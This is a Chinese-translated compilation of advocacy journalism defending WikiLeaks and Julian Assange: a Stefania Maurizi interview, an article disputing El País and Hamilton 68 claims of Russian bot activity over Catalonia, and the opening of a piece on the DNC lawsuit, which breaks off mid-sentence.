SM：我在 2009 年开始致力于 Wikileaks 的故事。当时，我一直在为意大利杂志“Espresso”工作，该杂志专注于深度报道和调查。Espresso 和 la Repubblica 都非常帮忙。这是一次美妙的经历，我得到了全面的支持，以及能让我正确工作的工具。我没有受到威胁，但我已被盯住。在这些日子里，被尾随相当普遍。拨打的每个电话都可以被拦截。这就是为什么我不再使用智能手机。

YB：你在维基解密出版物和斯诺登文件上工作最出色的经历是什么？

SM：获得揭示“无形力量”的信息，国家和背后的情报机构。不幸的是，绝大多数人都没有意识到这些阴暗的角落，没有意识到国家的全部力量对他们的存在。尽管如此，**Assange**，**Snowden** 和 **Manning** 已经给世界带来了巨大的光芒。

YB：你为什么决定参与调查性新闻？

SM：我认为调查性新闻在数字时代至关重要，对我们的民主进行强有力的监督。当然，我尊重新闻报道，但是我们完全被新闻轰炸。为了发掘“看不见的力量”，对深度报道的需求越来越强烈。我非常感谢像 Daphne Project 这样的调查项目：这是一个非常聪明的项目，毫无疑问会传达一个强有力的信息，因为它说：“他们可能会杀死记者，而不能杀死报道”。即使有些混蛋杀死了记者或消息来源，但调查仍将继续。

YB：你能告诉我们关于 NSA 瞄准意大利的故事吗？

SM：他们使用 Metadata 程序定位意大利，收集意大利人民的数百万条数据。我们的使馆正在受到监视。他们拦截了 Silvio Berlusconi 的电话。

然而，奇怪的是，在所有这些泄漏和启示被公开后，我们的政府完全没有做任何事情。根据意大利法律，检察官应该调查此案。相反，他们放弃了调查。

YB：你认为 Metadata 程序还在运行吗？

SM：当然，他们一如既往。**Metadata** 是历史上最重要的文件泄漏之一。欧盟对此一事无成。**Metadata** 从未阻止任何形式的恐怖袭击。他们基本上不是为了打击恐怖主义，而是为了收集信息，因为信息就是权力。（这里是本网的具体分析："为什么大规模收集根本无关反恐"）

YB：您对最近关于 Julian Assange 的 ElPaís 社论有何看法？

SM：我认为，ElPaís 的执行编辑 David Alandete 应该避免对 Julian Assange 的严重指责，没有任何可靠的事实来支持与俄罗斯有关的指控。西班牙日报 ElPaís 基本上没有回应 Glenn Greenwald 和 M.C. 在“The Intercept”发表的报道（《伪劣报道和反俄罗斯宣传强迫厄瓜多尔沉默 **JUlian Assange**》这里是这篇文章的中文版） ElPaís 的社论没有提供可靠的事实：它只是表达了个人意见。

YB：你认为为什么很多媒体不喜欢 Wikileaks？

SM：出于一个非常简单的原因：因为无论如何，Wikileaks 都有能力发布所有内容，而传统报纸则失去了对这种能力的控制。我完全不同意我的一些同事说“Wikileaks 不相信新闻报道”，并破坏了它的声誉。这绝对不是事实。我们不应该忘记，**Wikileaks** 已经发布的大部分文件都是与媒体伙伴合作的。

媒体喜欢描绘 Wikileaks 和美国之间的对抗。这是宣传，而不是大局。在政府层面上，澳大利亚政府对 **Julian Assange** 的案件绝对没有做任何事。我很想知道他们是否意识到澳大利亚公民为了做新闻而被任意拘留在伦敦！ **Wikileaks** 是一个积极的媒体组织，致力于打击世界上任何政府背后的'看不见的力量'。

YB：你认为 Jeremy Corbyn 的政府会支持 Julian Assange 吗？

SM：我希望如此。不过，我不确定他是否愿意接触这个案子。这是

一个不受欢迎的案子，尤其是在英国。他会发现自己遭到英国机构和英国情报局的反对。目前英国政府拒绝承认联合国关于任意拘留侵犯人权的裁决并为 **Julian Assange** 提供安全通道。我希望下一届英国政府将遵守任意拘留问题工作组（**WGAD**）通过的第 **54/2015** 号意见，该意见认为 **Julian Assange** 被任意拘留在厄瓜多尔驻伦敦大使馆。

YB：根据卫报最新的报道，厄瓜多尔为了对 Julian Assange 实施间谍行动投入了数百万美元。一位不愿透露姓名的消息人士告诉该报，J.A.对大使馆通讯实施网络攻击。卫报没有提供这方面的证据。那是以次充好的新闻吗？（这里是我们"对该报道之回应的中文翻译"）

SM：卫报的记者没有提出任何可靠的证据或可信来源。我认为这是一个非常基本的问题，直到我们有一些确凿的事实才会持怀疑态度。一般来说这是事实，但特别是在涉及 Wikileaks 时，因为在过去的九年中，我听说过关于 Julian Assange 的各种事：未经证实的谣言和非常奇怪的故事。

当那些人把 Wikileaks 和他的媒体组织描述为激进、令人毛骨悚然等等标签时，任何事情都会发生。请记住 2010 年发生的事情，当时 Wikileaks 发表了阿富汗战争日志，五角大楼居然指责 Julian Assange 及其工作人员“手上有血迹”（误杀路透社记者的是他们啊）。尽管五角大楼对 Wikileaks 的妖魔化和粉碎其声誉的行为表现出了明显和巨大的兴趣，然而整个媒体行业只是对五角大楼所说的话鹦鹉学舌。

有多少记者质疑五角大楼？其中百分之九十九的人不管五角大楼所说的话有多离谱，都不停地印刷着。现在又换成俄罗斯了：再次有 **99%** 的记者只是批评性地重复着情报机构所说的话，而且很明显，这些情报机构对粉碎 **Wikileaks** 有着巨大的兴趣，因为他们认为这是一种“存在的威胁”。印刷这些不可证实的主张并不是新闻。我其实认为这是对新闻业的最严重的背叛。

但我当然明白为什么会发生这种情况：与政府及其强大实体保持一致对于您的职业生涯一定非常有利。如果你是记者，帮助当权者粉碎 Wikileaks ，你可以肯定会获得头条新闻的机会。如果你想寻找认真对待他们的文件的记者，认真对待 Assange 案件，试图发掘可靠的事实信息的记者 —— 这非常困难。

YB：Rafael Correa - 在接受 Intercept 的采访中 - 谴责 J.A.的方式。正如 Correa 指出的，“Hotel Operation”监视项目到底是丑闻还是旨

在保护 Assange？（"该消息中文版"）

M：我认为毫无疑问，前总统 Rafael Correa 在所有问题上都试图保护 Julian Assange，我真的很佩服他给他庇护的决定。也就是说，很难说这个“Operation Hotel”项目究竟发生了什么，考虑到我们知道的很少，作为一个长期的媒体合作伙伴，我一直是他的常客之一，所以我对此有个人的和专业的兴趣。

知道发生了什么绝对是件好事，因为就像 Wikileaks 一样，这个故事可能会令人不安：卫报记者声称他们可以访问来访者的日志和访问信息。正如 Greenwald 所写的那样，这份信息在某种程度上与 Julian Assange 和 WikiLeaks 形成“深度情绪化和个性化的不和”。

我不知道卫报记者真的掌握了什么，我不知道 Julian Assange 和他的员工及访客实际上被收集了什么信息，但不幸的是，通过发布这些信息，卫报有可能开启一个潘多拉魔盒：有人收集媒体组织，其编辑，记者，访问者的各种信息，然后这些信息最终落入媒体的手中，这些媒体实际上恨他们。我不确定这会在哪里结束。这是野蛮的行为。

我们知道，监控技术的快速发展使得用大量资金进行大规模间谍活动变得非常容易，因此它甚至不需要国家参与大规模监视媒体组织，媒体组织也同样是脆弱的，因为我们的记者会因各种原因遇到各种各样的人。今天，是 **Wikileaks** 遭到了针对，但明天就可能是 **Repubblica** 或 **le Monde** 世界报或卫报本身。谁会是下一个？

YB：卫报记者致电 J.A. 在另一篇报道中声称 Wikileaks 创始人已成为厄瓜多尔大使馆不受欢迎的嘉宾。对这件事你有什么意见？

SM：我非常尊重卫报的整体工作，但看到卫报如何对待 Julian Assange 和 Wikileaks 简直是一场悲剧。卫报采购了来自 **Julian Assange** 和 **Wikileaks** 的巨大独家新闻，而且卫报最终模仿了由 **Julian Assange** 开创的辉煌模式 —— 推出提交平台，接收来自各方匿名消息来源的泄露，并建立媒体合作伙伴关系以形成最重大的国际影响。

我不是说卫报应该花时间庆祝 Wikileaks。但至少应该是公平的。以他们在“Operation Hotel”最新报道中使用的术语“逃犯”为例：这恰恰是英国政府用来抹黑 Julian Assange 的词。“卫报”当然知道，联合国任意拘留问题工作组（UNWGAD）裁定，自 2010 年以来，英国政府对任意拘留 Assange 的行为负责。

我们都知道英国政府试图对联合国 **UNWGAD** 的决定提出申诉并且失败。因此，在国际法眼中，Julian Assange 是被英国政府任意拘留的弱势人士：他不是逃犯。

我认为媒体不应该帮助强大的政府粉饰其违反国际法的行为，我认为卫报不应该帮助英国政府粉碎 Wikileaks：它应该成为政权的监督者。

Julian Assange 和 Wikileaks 不是完美的，他们肯定犯了错误。但事实上，作为一个长期的媒体合作伙伴，我能够验证他们发布的文件是否真实并符合公众利益。

但他们做的就是媒体组织所应该做的事：以公共利益为出发点出版真实的信息。**Wikileaks** 通过向公众提供重要文件做出了非常重要的工作，以便每位律师，每名记者，每位活动家和公民都可以自由地获取信息并作出明智的决定。

这项工作非常有价值，事实上，这项工作已被许多人复制或模仿。被 Wikileaks 曝光的强大实体想要摧毁它，我对此没有任何怀疑。我认为毫无疑问 Julian Assange 和他的 Wikileaks 团队面临着巨大的法律和法外风险。我从未见过另一个被国家全力压迫的媒体组织就像 Wikileaks这样。像卫报这样的媒体不应该帮助政府及其强大实体粉碎 Wikileaks。这不是新闻业应该做的。

"“Just be fair”: when does journalism undermine its own reputation?"

STEFANIA MAURIZIA and YORGOS BOSKOS 21 May 2018

「图」

原文

❗伪劣报道和有目的的政治宣传如何扭曲了现实政治 ⏳ - iYouPort

Wikileaks

「图」

Julian Assange 被禁止与外界沟通已超过三周。3月27日，厄瓜多尔政府阻止了 Assange 的互联网接入，并禁止他会面除律师之外的任何访问者。自2012年以来，Assange 一直在厄瓜多尔驻伦敦大使馆，当时厄瓜多尔向他提供庇护，今年1月，Assange 正式成为厄瓜多尔公民。

Assange 长期以来一直是参与世界各地政治辩论的多产评论员，他被一个最初授予他政治庇护并且现在已经是公民的国家封口了三个多星期。而厄瓜多尔则愿意藐视西方指令，在 Rafael Correa 担任主席期间拒绝交出 Assange，而他的继任者 **Lenín Moreno** 已经证明了他自己更加屈从于这种心态（**Moreno** 和 **Correa** 之间存在日益激烈的争执）是厄瓜多尔政府对 **Assange** 出现新的敌对态度的主要因素。

然而最近媒体对 Assange 的许多说法也对这种僵局的产生起到了一定作用 - 其集中讨论了俄罗斯在西班牙内部冲突中对加泰罗尼亚独立的所谓作用 - 这些说法从高度可疑到明显错误。这些媒体将加泰罗尼亚独立运动描绘成由克里姆林宫推动的阴谋运动，主要来自西班牙日报“El Pais”中的欺诈性断言以及所谓“Hamilton 68 dashboard”中高度可疑的数据声称。这些虚假和误导性的声明 - 这个实际的假新闻 - 的后果已经多方面和严重，不仅对 Assange 而且对于多个国家之间的外交关系而言都是如此。

卫报上周报道，最近访问 Assange 的医生总结他的健康状况已变得“危险”。La Reppublica 的记者 Stefania Maurizi 昨日证实，Assange“仍然在伦敦的厄瓜多尔大使馆，无法访问互联网也无法会面访问者”，Wikileaks 官方账号提供了有关阿桑奇面临的限制的进一步细节：

「图」

通常情况下，西方评论员会排着队指责厄瓜多尔这样的国家阻止其本国公民的通信和互联网接入。但是因为这里被沉默的人是他们讨厌的 **Assange**，他们对言论自由以及新闻自由的神圣原则的忠诚奉献消失了。

[厄瓜多尔第一次向 Assange 提供庇护时，厄瓜多尔政府和 Assange 的律师都一直表示，如果瑞典政府保证不会将他引渡到美国，Assange 将乘坐下一班机飞往斯德哥尔摩。尽管瑞典检察官去年就已经放弃了对 Assange 的起诉，但特朗普的中央情报局局长 Mike Pompeo 誓言尽一切可能摧毁 Wikileaks 并阻止其进一步公布信息，而英国政府 - 特朗普政府的盟友 - 如果他离开大使馆，誓言将逮捕他]

目前已经有证据表明，切断 **Assange** 与外界的沟通是对厄瓜多尔新总统施加严重外交压力的副产品，可能很快会导致 **Assange** 面临被大使馆一度驱逐出境的压力。压力来自西班牙马德里政府及其北约盟国，Assange 表示反对一些压制性措施，这些措施试图压制支持加泰罗尼亚独立的活动家。

在阻止 Assange 与外界沟通之后的第二天，厄瓜多尔发表声明，声称 Assange 的公开发言（tweet）“危及”厄瓜多尔与其他国家的关系。厄瓜多尔政府先前对 Assange 的一些政治活动和言论表示不满，但突破点似乎是 Assange 关于本月早些时候对加泰罗尼亚前总统 Carles Puigdemont 被抓捕之消息的一系列推文。

从9月份开始，Assange 一直在定期发表关于加泰罗尼亚独立公投的 tweet。厄瓜多尔当时发布了一份声明，批评这些推文并强调说：“厄瓜多尔当局已经重申 Assange 先生有义务不发表可能影响厄瓜多尔国际关系的言论或活动。”

但是为什么这些关于加泰罗尼亚的推文，Assange 关于其他国家政治的评论推文以及他在 2016 年美国大选中所扮演的角色，五年，都是如此引发了这样的回应？为什么？加泰罗尼亚独立运动多年来一直是西班牙内部冲突的源泉，西方何以能成功说服如此众多的公民，现在突然变成了被克里姆林宫阴谋推波助澜的结果，普京为傀儡大师？

这些答案提供了一个生动的例子，足以说明如何将假新闻、政治宣传和虚假信息用作政治操纵的策略。导致近期事件的情况已经超出了 **Julian Assange**，理解这些事件需要首先了解西班牙、厄瓜多尔、美国和英国的政治压力背景，以及这些情况与 **Assange** 案的相互关系。

厄瓜多尔和阿桑奇之间的紧张局势围绕西班牙关于加泰罗尼亚独立的争论展开。2017年10月1日，加泰罗尼亚自治区举行独立公投。西班牙政府宣布这次公投是非法的。随后，加泰罗尼亚激进抗议的活动人士被逮捕，马德里政府对投票站点实施突击检查。

在这次危机中，据报道，西班牙前首相 Felipe González 要求西班牙最强大的媒体集团 Grupo PRISA（拥有西班牙媒体机构，如 El Pais 和 ABC）“对加泰罗尼亚独立运动给予了坚定的回应”。该传媒公司遵从了命令，全力投入反对加泰罗尼亚的分裂。

几天之后，El Pais 开始将加泰罗尼亚的活动家描绘成被克里姆林宫操纵的工具。该报发表文章称，不仅 Julian Assange，还有 Edward Snowden，正在帮助俄罗斯的宣传网络传播有关加泰罗尼亚的“假新闻”。这些说法在后来的报道中得到了 El Pais 的重申，并在其他反分裂组织如西班牙智囊团 Elcano 皇家研究所、大西洋理事会数字取证研究实验室和北约 StratCom 的报告中得到回应。

「图」

一旦 El Pais 将这些幻想性的指控合法化，这些虚假消息就被世界各地的立法机构引用或提交给西班牙、英国和美国。与许多关于假新闻和外国在线宣传活动的说法一样，它们并没有受到严格审查或新闻检验，并且没有任何证据的支持。

「图」

许多推动这些声明的人承认，"他们没有确定的证据"表明俄罗斯政府在加泰罗尼亚全民投票期间进行了干涉，只能引用他们认为是来自 **RT** 和 **Sputnik** 的偏见性报道。来自下议院的关于假新闻的听证交流说明了这一点：

「图」

然而，正如他们现在对西方大多数问题所做的一样 - 他们继续以“俄罗斯的宣传”来描述冲突，因为他们自己承认，除了将其视为克里姆林宫的行动外，他们无法理解西班牙的紧张局势。正如 Elcano 的 Mira Milosevich-Juaristi 在西班牙 ComisiónMixta de Seguridad Nacional 之前作证时所说：“同时发生的复杂性，组合性和协作性需要政府或政府周围的行动者进行协调。”

指责加泰罗尼亚独立的在线支持“是由 Assange 和 Snowden 领导的俄

罗斯情节”就这样成为了一种普遍的信念。从一开始，它就以绝大多数的原始“dashboard”为基础，自称为“Hamilton 68”，由保卫民主联盟维护。“dashboard”旨在跟踪“俄罗斯影响力有关的 600 个 Twitter 账户的活动”。

加泰罗尼亚在“dashboard”监控的所谓亲克里姆林宫帐户之间的趋势是由 El Pais 提供的，因为该文称为“明确证据” - definitive proof - “那些动员亲俄罗斯机器人水军的人选择专注于加泰罗尼亚独立运动“。

但从一开始，**Hamilton 68** 的可疑性就不言而喻了。正如该团体刚刚成立时 "the Intercept 所报道的那样"，这是一个全新的外交政策倡导组织，由华盛顿可信度记录最差的骗子和军国主义者创建：**Bill Kristol**，前中央情报局官员，共和党鹰派和民主党新保守派。

「图」

更糟糕的是，**Hamilton 68** 的做法仍然极其不透明，甚至拒绝确定他们指定哪些账户为“在线宣传的俄罗斯影响力”。这些被标记的账户不仅包括“明确声明他们是亲俄罗斯或与俄罗斯政府有关联的账户”，并且还包括“由世界各地的人运行的账户，无论是有意还是无意地放大了亲俄罗斯的主题”（其中经常包括任何对美国外交政策正统观点持不同意见的人，由创建该团体的新保守派和中央情报局官员组成，现在被称为“亲俄”）

「图」

尽管存在这些明显的可疑理由，美国媒体不断引用这个全新的粗略小组对于“俄罗斯机器人”所说的话，没有多少批判性思考或质疑，建立了一个又一个标题，完全基于这个模糊的阴暗的团体的声称。正如 Rolling 的 Matt Taibbi 最近记载的，“现在越来越多的，这个网站的声明变成了头版头条。”

但近几个月来，**Hamilton 68** 的可信度受到了广泛的质疑。记者和研究人员发现了许多基于**Hamilton 68** 数据的不准确的报道，研究了高度意识形态行动者参与该工具开发的情况，并质疑 Hamilton 68 的“秘密方法论”，特别是其奇怪的拒绝透露600个账户清单的数据依据。另外一些人指出，关于俄罗斯机器人和水军的叙述越来越多地被用来作为诋毁世界各地各种合法政治运动的工具。

通常情况下，这些基于 Hamilton 68 的媒体报道，是建立在对基于数

据可以或不可以确定的东西不了解的基础上。美国媒体滥用这些数据最终导致 Hamilton 68 的创建者之一对这些基于对数据最肤浅理解的不准确性结论感到沮丧，说：“It’s somewhat frustrating because sometimes we have people make claims about it or whatever — we’re like, that’s not what it says, go back and look at it.”

误解社交媒体分析工具是虚假新闻报道中的常见问题，并可能导致错误的结论以及现实的政治后果。一个说明性的例子是由 El Pais 文章中描述的加泰罗尼亚独立运动由克里姆林宫推动的说法：“TwitterAudit 提供的关于 Twitter 上 5000 名 Assange 追随者的 Twitter 的详细分析显示，59%是虚假简介。”

「图」

El Pais 的声称是一起明显的欺诈行为。这种说法完全不准确，因为其数据来自没有推文的非活动账户。多年前，**Julian Assange** 创建了一个个人帐户，但仅在**2017**年**2**月**14**日才开始使用它进行发言。但是，由 **El Pais** 使用的 **Twitter** 审计数据做出了这一非同寻常的声明：**“Assange** 的追随者主要由机器人组成“（太可恶了！括号中的话由翻译者加入）

「图」

简而言之，由 El Pais 使用的关于 Assange 账户的陈旧数据作为对于他当前的追随者的声称是非常不准确的。在**2017**年**11**月**24**日重新评估 **@ JulianAssange** 的追随者后，**Twitter Audit** 现在显示他的追随者中有**92**%是真人！

「图」

但 Twitter 的审计仍然声称，Assange 的追随者中有8%是机器人或其他虚假的账号，但考虑到最近的科学研究估计“活跃的**Twitter**账户中有**9**%到**15**%是僵尸”，这个数字相对较低。

相对于其他拥有众多追随者的账户而言，这一数字也是非常低的。例如，Twitter 审计估计， @el_pais 追随者中有 25% ，@ BarackObama（奥巴马）追随者中有 17%，@ RealDonaldTrump 追随者中有 27%，以及 @ EmmanuelMacron 追随者中有 48%（截至9个月前）可能是虚假账户。像 Twitter 审计这样的社交媒体工具通常只提供粗略的启发式方法，而这些方法毫无意义。

「图」

「图」

正确解释社交媒体分析工具的结果不仅需要仔细检查数据并理解工具的局限性，还需要与已知的科学研究和控制基准进行比较。

这种可疑的方法论方法的一个例子是来自 ElPaís 和 DFRLab 的声称“Julian Assange 发出的特别推文很快就传播开来”。9月15日，Assange 发推文说：“我希望大家支持加泰罗尼亚的自决权。西班牙不能允许压制行为正常化以停止投票。“

ElPaís 在上文提供的摘录中指出：“就 Assange 发布的推文而言，与他在社交媒体平台上发布的许多消息一样，它在一小时内收到了 2000 次转发，并获得了最多的转发次数–12000 次转发。不到一天。推文如此迅速传播证明了机器人的干预或虚假的社交媒体配置文件，其编程仅仅是为了自动回应某些消息。“

转发率随着时间的推移逐渐加快的说法可能具有一点点直觉意义，但 ElPaís 和 DFRLab 都没有提供任何关于这些动态研究的引用。事实上，"至少有一项研究发现"，这些关于转推率的直观假设是错误的，而“转发的一半发生在一个小时内，一天内转发**75%**”。对于 **Assange** 发布的这则特别推文，在第一个小时内只有六分之一的转推发生。

「图」

就算相对于 Assange 的其他推文，推文的整体传播也是正常的。2017年8月1日至12月12日期间，Julian Assange 的每条推文平均被 232,249.63 人看到。ElPaís 仔细审查的特定推文收到了 761,410 次展示（也就是说，此特定推文向其他 Twitter 用户显示了 761,410 次）。这比正常情况稍微高一些，但不是过高，Assange 最受欢迎的推文定期获得 3-4 百万印象，是ElPaís 表示“通过机器人放大”的推文的4至6倍。

如果报道假新闻的记者试图以一种基本的方式 - 即至少是基本理性的指令 - 遵循可靠的经验方法 - 通过验证这种声称是不寻常的行为是否实际上已经失效，完全可以避免这种假冒的声称普遍化。在报道涉嫌虚假新闻时使用有效的方法尤为重要，因为错误或夸大的声明误导公众可能导致政治紧张局势升级。具有讽刺意味的是，警告欺骗性的企图和对假新闻的识别，可能很容易转变为“传播假新闻”。（更多详细数据的完整报告最近由本文的一位作者 McGrath 提交给英国假新闻

委员会）

与俄罗斯在各种西方问题上的干涉相匹配的一般陈述的审查不能取代基于事实的分析。使用的方法学上更不合理的策略之一，不仅被用来描绘 RT 和 Sputnik，而且还描

述任何被引用甚至转发的人，作为“协助传播俄罗斯国家宣传的人”。在为英国假新闻委员会作证时，El Pais 的 David Alandete 表示：“RT 和 Sputnik 处于这个中心。Assange 和 Snowden 是他们非常方便的来源；Assange 所说的任何话都是一个名言和一个新闻标题。“

Assange 关于加泰罗尼亚的观点在 RT 和 Sputnik的报道中多次被提到，但引用 **Assange** 的故事仅包括他们对这些政治事件的讨论的一小部分。根据 Media Cloud 的数据和他们的推文对 Sputnik 和 RT 的故事分析发现，只有1%到3%的 RT 和 Sputnik 关于加泰罗尼亚的故事提到了Assange。此外，对 Assange 的这些参考文献中的大多数都围绕着一些孤立的引语和事件，而 RT 和 Sputnik 更广泛地连续报道了加泰罗尼亚的情况。

相当具有讽刺意味的是，有明显的证据表明，关于 **Twitter** 的机器人传播西班牙危机的消息 - 但那些是非俄语的机器人，他们正在传播反对加泰罗尼亚独立的观点。这不是西方政府及其盟友首次"利用虚假在线活动"传播"政治宣传"，但除俄罗斯或其他美国对手之外，很少有西方评论员关心这件事。

「图」

「图」

无论如何，真的机器人操作可能会引发西班牙危机 - 但它们已被用来传播与马德里当局一致的反加泰罗尼亚信息了。2017年9月11日，名为 @marilena_madrid 的用户发送了一个链接，指出西班牙 ABC 在几个月前发布的一则报道，强调了 Puigdemont 与欧盟机构缺乏合法性：来自马德里当局的一个关键反独立主题：

「图」

这个 @marilena_madrid 推文被转推了超过15,000次，但'喜欢'只有99次。致力于 Twitter 机器人检测的研究人员发现，机器人通常具有这种类型的低兴趣比例：

「图」

与 Julian Assange 的推文相比，平均每次推文获得1.14个“like”的推文 - 反映它们被真实人类压倒性地推广 - 这个来自 @marilena_madrid 的反加泰罗尼亚独立推文每转推比仅为 0.0062。大量的转发器有随机的乱码用户名，例如 @ M9ycMppdvp5AhJb，@hdLrUNkGitXyghQ 和 @ fQq96ayN3rikTw，这也表明它们可能是机器人。

「图」

转推 @marilena_madrid 的大部分账户以及 @ marilena_madrid 的账户本身现在似乎都被 Twitter 暂停。不幸的是，除了先前存档或缓存的页面之外，无法查看有关已暂停帐户的数据，只能用有限的数据更详细地研究这个特定的机器人集合。因此不能确定究竟是特定的人推动的推特机器人还是基于 ABC 的社交媒体战略的机器人和水军，或是什么国家赞助的宣传活动。尽管如此，这种情况还是需要更多的多方分析，以了解谁在使用机器人来推动公共宣传。

人们可能会发现一些真正的俄罗斯机器人发布支持加泰罗尼亚独立的消息，但这一数量已经被国家报纸和许多其他机构严重夸大其词了。

如果实现了这一点，那么在加泰罗尼亚全民投票期间散布假情报的这些没有证据的指控正被用作在 **Julian Assange** 案中政治操纵的工具。西班牙与厄瓜多尔有着强大的外交关系，紧张局势升级，这给 **Assange** 的庇护带来了威胁，美国和英国的长期压力可能都无法做到这点。这些问题的交集导致了迅速恶化的外交局势，部分原因是在加泰罗尼亚全民投票期间过度夸大和不准确地虚假信息声称，厄瓜多尔被迫在维持与其他国家的关系和维护 **Assange** 的庇护之间作出选择。

这里所看到的事件模式并不特定于 **Julian Assange** ，厄瓜多尔，西班牙或任何一个国家。这是一个全球性的系统性的问题。这是对当内部部门（西班牙和加泰罗尼亚）的政治紧张局势出现时发生的情况的一个说明性例子。在这之后，人们很难解释他们认为的不公正并得出结论说，一些外国人或团体通过散布宣传或假情报来干扰造成有问题的局面。

这种叙述不断增长，通过内部统战对抗外部敌人，将焦点从内部问题和分歧中转移出去，就像爱国主义在战争中会激增的那种方式一样。这种情绪可以被利用作为寻求支持他们自己议程的人所操纵的策略，

并且可以用来压制外部各方。这也是一个非常强大的工具，用来诋毁任何内部的、国内的异议，如果不是由外国恶棍控制的话。与此同时，内部紧张局势继续发展并且冲突升级，其实际原因被忽视了，人们开始赞成那些关于外国干涉的令人愉快的、简单化的、自我辩护的故事情节。

"How Shoddy Reporting and Anti-Russian Propaganda Coerced Ecuador to Silence Julian Assange"

by M.C. McGrath, Glenn Greenwald

原文

DNC 针对 Wikileaks 的诉讼对新闻自由构成严重威胁 🆓⏳ - iYouPort

Wikileaks

「图」

The DNC’S Lawsuit Against WikiLeaks Poses a Serious Threat to Press Freedom

by Glenn Greenwald, Trevor Timm

April 21 2018, 2:52 a.m.

> No media outlet can function, indeed journalism cannot function, if it becomes illegal to publish secret materials taken by a source without authorization or even illegally.
>
> “Democracy requires accountability and consent of the governed, which is only possible if citizens know what is being done in their name.” ; “The way things are supposed to work is that we're supposed to know virtually everything about what they [the government] do: that's why they're called public servants. They're supposed to know virtually nothing about what we do: that's why we're called private individuals.”
>
> — Glenn Greenwald

民主党全国委员会（DNC）在曼哈顿联邦法院提起诉讼，起诉 Wikileaks 在发布所谓的“黑客资料”方面所起的作用，尽管它并没有声称 Wikileaks 参与了“黑客行为”或提前知道有这种行为存在。根据 DNC 的诉讼，Wikileaks 唯一的角色被指称为“发布了被盗取的电子邮件”。

DNC 涉及维基解密的诉讼对新闻自由构成了严重威胁。诉讼理由 —— Wikileaks 对其“故意披露” DNC 通信（第183段）所造成的损害负责 —— 这将意味着任何发布盗用文档或电子邮件的媒体渠道都有可能被起诉，或至少在理论上被起诉，或者任何发布内部活动备忘录的媒体都会犯上“经济间谍罪”（第170段）这也太可怕了，因为这原本就是媒体经常做的事：

「图」

媒体发布或报告被盗的、黑客攻击的或以其他方式获得的资料是非常常见的。2016 年 10 月 - 大选前一个月 - 有人将 Trump 1995 年的纳税申报单副本邮寄给了纽约时报，纽约时报发表了其中部分内容，即使未经纳税人许可透露某人的纳税申报表是违法的；在 2017 年 3 月，MSNBC 的 Rachel Maddow 做了同样的事。

「图」

2016 年 4 月，华盛顿邮报从特朗普竞选中获得并公布了一份保密的内部备忘录；媒体会经常发布私人公司的内部文件；就在三周前，BuzzFeed 获得并发布了一份秘密的 Facebook 备忘录，概述了该公司的内部业务战略，其内容已被大多数主流媒体报道。

「图」

当代新闻报道中的一些最重要的故事大多来自媒体获取并发布的未经授权的甚至违法的材料。“纽约时报”和“华盛顿邮报”都在华盛顿未授权的情况下发布了通过 **Daniel Ellsberg** 获取的数以千计的机密文件撰写而成的报道，并且他们"赢得了在美国最高法院出版这些文章的权利"。

“卫报”和“华盛顿邮报”荣获了 2014 年的普利策奖，因出版和报道 Edward Snowden 从美国国家安全局获取的大量绝密文件。“卫报”、“纽约时报”和世界各地的许多报纸都通过发布由 Chelsea Manning 下载的未经授权的并发送给维基解密的机密文件，而撰写并发表了多篇报道。2016年，来自全球的 100 多家报纸发表了数百万份名为“巴拿马文件”的私人财务文件并进行了报道，那个世界上最大的离岸律师事务所之一可没授权撰写文件的发布，但报道是媒体的职责。

「图」

「图」

总之这就是调查性新闻的实质，即发布那些未经授权的、机密的、法外获取到的信息和私人信息，这些信息是调查记者的频繁需求。而 DNC 的诉讼正试图将调查记者的工作新闻转化为法律上的违规行为或者“非法敲诈阴谋”的一部分，这等于将将新闻业的核心部分变为非法行为了。

每当 Trump 发布有关对各种媒体人物的侮辱性推文时，媒体们都会感到新闻自由受到了威胁。但是，DNC 的诉讼 - 就像奥巴马和特朗普司法部在“反间谍法”下对举报者进行定罪和起诉一样 ——是对这些新闻自由的实际性的严重威胁。

DNC 要指望的是，在官方华盛顿存在着的对 Wikileaks 和 Julian Assange 如此激烈的藐视，以至于这种情绪足够掩盖住这场诉讼对基本新闻自由所造成的明显威胁，记者恐怕会反对的，记者们会发现自己正站在一个被华盛顿藐视的组织中，这个组织被特朗普中央情报局的官员在没有证据的情况下指责为“非国家的敌对情报部门经常受到像俄罗斯这样的国家行为体的唆使”。

但就像人们应该反对酷刑并且要求关塔那摩被拘留者获得正当程序一样，不管那些被拘留者是什么样的人，一个人对 Assange 和 Wikileaks 的个人感受应该完全无关紧要，完全不妨碍认识和探讨关于 DNC 法律理论有多危险的警告。

一个人是否将 Wikileaks 视为“真正的新闻媒体” - 无论这可能意味着什么，都不重要。第一修正案对新闻自由的保护不仅限于媒体公司 - 那些一般被称为记者的人，同样保护从事新闻活动的任何人 —— 保护所有希望发布信息的人，以便公众了解公共利益问题。

即使是 Wikileaks 最铁的批评家和敌人也不得不承认，Wikileaks 通常的出版物是在通知公众有关合法的公共利益的事宜。这就是为什么每个主流媒体都在报道上述出版物所提供之消息的原因，为什么这些文件迫使五位顶级 DNC 官员的辞职和 CNN 评论员被解雇，以及为什么 DNC 本身也认为（正如诉讼所证明的那样）这些出版物只是改变了人们对希拉里克林顿的看法。

「图」

“宪法”和新闻自由的基本规则禁止企图将 Wikileaks 的出版物变为非法的行为，这是奥巴马政府所支持的事实。奥巴马司法部急于起诉发

布了国务院电报、将伊拉克和阿富汗战争日志公开的 Wikileaks。但他们知道，如果他们能证明 Wikileaks 发布的是被盗的信息，他们就会被禁止这么做。

因此，奥巴马司法部知道对 Wikileaks 唯一的起诉机会是，除非他们能证明 Assange 实际上参与并唆使了 Chelsea Manning 的盗取，因此，正如“纽约时报” 2010 年报道的那样，他们努力地去证明 Assange 所做的不仅仅是接收并发布被盗文件。

> 司法部官员正试图查明 Assange 先生是否鼓励甚至帮助情报分析师 Manning 从政府计算机系统提取军事和国务院档案。如果他这样做了，他们认为可以将他当作泄密者的阴谋背景，而不仅仅是作为发布文档的被动接收者……尽管检察官利用这些法律来追捕逃犯和黑客，但他们从未成功起诉过接收泄露信息的收件人。这应该归功于第一修正案对言论和新闻自由的有力保护。

司法部从 Wikileaks 找不到帮助曼宁拿走文件的任何人以作为证据，于是他们得出结论：Wikileaks 只是接收者。于是奥巴马政府决定不起诉 Wikileaks，因为这样做会威胁到新闻自由；毕竟，如果 Wikileaks 公布这些文件是犯罪行为，那纽约时报和卫报也这样做，都是犯罪了？正如华盛顿邮报在2013年所说的那样：

